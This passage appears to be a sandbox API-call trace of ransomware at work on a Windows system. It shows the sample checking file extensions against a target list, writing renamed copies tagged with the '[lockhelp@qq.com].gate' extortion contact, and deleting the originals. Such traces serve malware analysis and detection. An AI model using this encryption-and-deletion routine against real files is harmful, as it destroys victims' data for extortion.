(lpString="ko-kr.xml") returned 9 [0275.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0275.428] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=15097) returned 1 [0275.428] CloseHandle (hObject=0x3a8) returned 1 [0275.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0275.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0275.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0275.429] lstrlenW (lpString=".doc") returned 4 [0275.429] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.429] lstrlenW (lpString=".docx") returned 5 [0275.429] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0275.429] lstrlenW (lpString=".pdf") returned 4 [0275.429] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.429] lstrlenW (lpString=".xls") returned 4 [0275.429] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.429] lstrlenW (lpString=".xlsx") returned 5 [0275.429] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0275.429] lstrlenW (lpString=".ppt") returned 4 [0275.429] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0275.429] lstrlenW (lpString=".zip") returned 4 [0275.429] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.429] lstrlenW (lpString=".rar") returned 4 [0275.429] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.429] lstrlenW (lpString=".bz2") returned 4 [0275.429] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.429] lstrlenW (lpString=".7z") returned 3 [0275.429] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0275.429] lstrlenW (lpString=".dbf") returned 4 [0275.429] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.439] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x7d57c8, Size=0x2000) returned 0x7d57c8 [0275.439] lstrcmpiW (lpString1=".dat", lpString2=".gate") returned -1 [0276.642] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.642] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0277.166] GetLastError () returned 0x0 [0277.166] ReadFile (in: hFile=0x3dc, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x4ed, lpOverlapped=0x0) returned 1 [0277.321] WriteFile (in: hFile=0x42c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x4f0, lpOverlapped=0x0) returned 1 [0277.468] ReadFile (in: hFile=0x3dc, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0277.468] WriteFile (in: hFile=0x42c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x13e, lpOverlapped=0x0) returned 1 [0277.469] SetEndOfFile (hFile=0x42c) returned 1 [0277.511] CloseHandle (hObject=0x42c) returned 1 [0277.512] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.512] SetEndOfFile (hFile=0x3dc) returned 1 [0277.611] CloseHandle (hObject=0x3dc) returned 1 [0277.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0277.612] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 1 [0277.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0277.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0277.612] lstrlenW (lpString=".doc") returned 4 [0277.612] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0277.613] lstrlenW (lpString=".docx") returned 5 [0277.613] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0277.613] lstrlenW (lpString=".pdf") returned 4 [0277.613] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0277.613] lstrlenW (lpString=".xls") returned 4 [0277.613] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0277.613] lstrlenW (lpString=".xlsx") returned 5 [0277.613] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0277.613] lstrlenW (lpString=".ppt") returned 4 [0277.613] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0277.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0277.613] lstrlenW (lpString=".zip") returned 4 [0277.613] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0277.613] lstrlenW (lpString=".rar") returned 4 [0277.613] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0277.613] lstrlenW (lpString=".bz2") returned 4 [0277.613] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0277.613] lstrlenW (lpString=".7z") returned 3 [0277.613] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0277.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0277.613] lstrlenW (lpString=".dbf") returned 4 [0277.613] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0277.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0277.613] lstrlenW (lpString=".1cd") returned 4 [0277.613] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0277.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0277.613] lstrlenW (lpString=".jpg") returned 4 [0277.613] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0277.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0277.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0277.614] lstrlenW (lpString=".doc") returned 4 [0277.614] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0277.614] lstrlenW (lpString=".docx") returned 5 [0277.614] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0277.614] lstrlenW (lpString=".pdf") returned 4 [0277.614] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0277.614] lstrlenW (lpString=".xls") returned 4 [0277.614] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0277.614] lstrlenW (lpString=".xlsx") returned 5 [0277.614] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0277.614] lstrlenW (lpString=".ppt") returned 4 [0277.614] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0277.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0277.614] lstrlenW (lpString=".zip") returned 4 [0277.614] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0277.614] lstrlenW (lpString=".rar") returned 4 [0277.614] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0277.614] lstrlenW (lpString=".bz2") returned 4 [0277.614] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0277.614] lstrlenW (lpString=".7z") returned 3 [0277.614] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0277.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0277.614] lstrlenW (lpString=".dbf") returned 4 [0277.614] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0277.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0277.614] lstrlenW (lpString=".1cd") returned 4 [0277.614] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0277.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0277.614] lstrlenW (lpString=".jpg") returned 4 [0277.614] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0277.615] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0277.615] lstrlenW (lpString="AuthoredExtensions.xml") returned 22 [0277.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0277.615] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=373) returned 1 [0277.615] CloseHandle (hObject=0x3dc) returned 1 [0277.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 0x220 [0277.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0277.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0277.616] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.616] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0277.667] GetLastError () returned 0x0 [0277.667] ReadFile (in: hFile=0x3dc, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x175, lpOverlapped=0x0) returned 1 [0277.670] WriteFile (in: hFile=0x388, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x180, lpOverlapped=0x0) returned 1 [0277.671] ReadFile (in: hFile=0x3dc, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0277.671] WriteFile (in: hFile=0x388, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x100, lpOverlapped=0x0) returned 1 [0277.671] SetEndOfFile (hFile=0x388) returned 1 [0277.672] CloseHandle (hObject=0x388) returned 1 [0277.672] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.672] SetEndOfFile (hFile=0x3dc) returned 1 [0277.675] CloseHandle (hObject=0x3dc) returned 1 [0277.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0277.675] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 1 [0277.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0277.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0277.676] lstrlenW (lpString=".doc") returned 4 [0277.676] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0277.676] lstrlenW (lpString=".docx") returned 5 [0277.676] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0277.676] lstrlenW (lpString=".pdf") returned 4 [0277.676] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0277.676] lstrlenW (lpString=".xls") returned 4 [0277.676] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0277.676] lstrlenW (lpString=".xlsx") returned 5 [0277.676] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0277.676] lstrlenW (lpString=".ppt") returned 4 [0277.676] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0277.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0277.676] lstrlenW (lpString=".zip") returned 4 [0277.676] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0277.676] lstrlenW (lpString=".rar") returned 4 [0277.676] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0277.676] lstrlenW (lpString=".bz2") returned 4 [0277.676] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0277.676] lstrlenW (lpString=".7z") returned 3 [0277.677] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0277.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0277.677] lstrlenW (lpString=".dbf") returned 4 [0277.677] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0277.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0277.677] lstrlenW (lpString=".1cd") returned 4 [0277.677] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0277.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0277.677] lstrlenW (lpString=".jpg") returned 4 [0277.677] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0277.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0277.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0277.677] lstrlenW (lpString=".doc") returned 4 [0277.677] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0277.677] lstrlenW (lpString=".docx") returned 5 [0277.677] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0277.677] lstrlenW (lpString=".pdf") returned 4 [0277.677] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0277.677] lstrlenW (lpString=".xls") returned 4 [0277.677] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0277.677] lstrlenW (lpString=".xlsx") returned 5 [0277.677] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0277.677] lstrlenW (lpString=".ppt") returned 4 [0277.677] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0277.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0277.677] lstrlenW (lpString=".zip") returned 4 [0277.677] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0277.677] lstrlenW (lpString=".rar") returned 4 [0277.677] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0277.677] lstrlenW (lpString=".bz2") returned 4 [0277.677] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0277.677] lstrlenW (lpString=".7z") returned 3 [0277.677] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0277.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0277.678] lstrlenW (lpString=".dbf") returned 4 [0277.678] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0277.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0277.678] lstrlenW (lpString=".1cd") returned 4 [0277.678] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0277.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0277.678] lstrlenW (lpString=".jpg") returned 4 [0277.678] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0277.678] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0277.678] lstrlenW (lpString="AG00011_.GIF") returned 12 [0277.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0277.679] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=7216) returned 1 [0277.679] CloseHandle (hObject=0x3dc) returned 1 [0277.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 0x220 [0277.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0277.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0277.682] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.682] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0278.128] GetLastError () returned 0x0 [0278.128] ReadFile (in: hFile=0x3dc, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x1c30, lpOverlapped=0x0) returned 1 [0278.152] WriteFile (in: hFile=0x3d4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x1c40, lpOverlapped=0x0) returned 1 [0278.153] ReadFile (in: hFile=0x3dc, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0278.153] WriteFile (in: hFile=0x3d4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0278.153] SetEndOfFile (hFile=0x3d4) returned 1 [0278.153] CloseHandle (hObject=0x3d4) returned 1 [0278.154] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.154] SetEndOfFile (hFile=0x3dc) returned 1 [0278.186] CloseHandle (hObject=0x3dc) returned 1 [0278.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0278.186] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 1 [0278.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0278.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0278.187] lstrlenW (lpString=".doc") returned 4 [0278.187] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0278.187] lstrlenW (lpString=".docx") returned 5 [0278.187] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0278.187] lstrlenW (lpString=".pdf") returned 4 [0278.187] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0278.187] lstrlenW (lpString=".xls") returned 4 [0278.187] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0278.187] lstrlenW (lpString=".xlsx") returned 5 [0278.187] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0278.187] lstrlenW (lpString=".ppt") returned 4 [0278.187] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0278.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0278.187] lstrlenW (lpString=".zip") returned 4 [0278.187] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0278.187] lstrlenW (lpString=".rar") returned 4 [0278.187] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0278.187] lstrlenW (lpString=".bz2") returned 4 [0278.187] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0278.188] lstrlenW (lpString=".7z") returned 3 [0278.188] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0278.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0278.188] lstrlenW (lpString=".dbf") returned 4 [0278.188] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0278.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0278.188] lstrlenW (lpString=".1cd") returned 4 [0278.188] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0278.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0278.188] lstrlenW (lpString=".jpg") returned 4 [0278.188] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0278.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0278.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0278.188] lstrlenW (lpString=".doc") returned 4 [0278.188] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0278.188] lstrlenW (lpString=".docx") returned 5 [0278.188] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0278.188] lstrlenW (lpString=".pdf") returned 4 [0278.188] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0278.188] lstrlenW (lpString=".xls") returned 4 [0278.188] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 